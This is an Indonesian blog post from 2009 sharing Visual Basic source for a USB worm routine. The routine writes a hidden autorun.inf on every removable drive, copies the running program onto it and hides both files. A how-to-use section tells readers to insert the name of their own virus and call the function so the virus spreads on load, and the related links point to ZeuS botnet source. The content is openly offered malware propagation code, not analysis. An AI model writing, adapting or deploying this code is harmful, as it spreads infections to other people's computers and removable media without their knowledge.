Code:Public Function InfeksiUSB(DigitalCat As String, AD As String) Dim FSO, USBCatLER, USBCat Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT") Set USBCatLER = FSO.DRIVES For Each USBCat In USBCatLER If USBCat.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE If Right(YOL, 1) <> "\" Then DigitalCat= DigitalCat& "\" If DigitalUSB(USBCat & "\autorun.inf") Then SetAttr USBCat & "\autorun.inf", 0 Kill USBCat & "\autorun.inf" End If Open USBCat & "\autorun.inf" For Append As #1 Print #1, "[autorun]" & vbCrLf & _ "open=" & USBCat & "\" & AD Close #1 If Not DigitalUSB(USBCat & "\" & AD) Then FileCopy DigitalCat& AD, USBCat & "\" & AD End If SetAttr USBCat & "\" & AD, 4 SetAttr USBCat & "\autorun.inf", 4 SetAttr USBCat & "\" & AD, 2 SetAttr USBCat & "\autorun.inf", 2 End If Next End Function Public Function DigitalUSB(DosyaAdi As String) As Boolean On Error GoTo CekUSB Call FileLen(DosyaAdi) DigitalUSB = True Exit Function CekUSB: End Function Sub Main() InfeksiUSB App.Path, App.EXEName & ".exe" End Sub Cara Pakai : Pada code ini (ada .exe,-> letakkan nama virus kamu bisa jg diganti *.Vbs,etc..) InfeksiUSB App.Path, App.EXEName & ".exe" pada form load / dimana code virus kamu letakkan untuk mengaktifkan virus kamu cukup gunakan / panggiljika code ini di letakkan di module : gunakan code ini :Code:call InfeksiUSBCode:NamaModule.InfeksiUSB
Selasa, 29 Desember 2009
Code Infeksi USB
Tags
Artikel Terkait
- Source Code of ZeuS Botnet Version: 2.0.8.9 from thehackernews.com Download Now&nb
- Iseng-Iseng Part Kesekian :P Wekekeke.. ternyata membuat virus tidak membutuhk
- Akhir-akhir ini banyak Virus maker (pembuat virus ) yang menggunakan folder PCMAV s
- Jakarta - Produksi kode software yang disebut sebagai malware atau program jahat yan
- Mungkin kata ini belum familiar bagi sebagian orang. Worm masih berkerabat dekat d
- -Virus Shortcut- Beberapa hari lalu, Kompi di kantor -secara ndak sengaja- t
Langganan:
Posting Komentar (Atom)
EmoticonEmoticon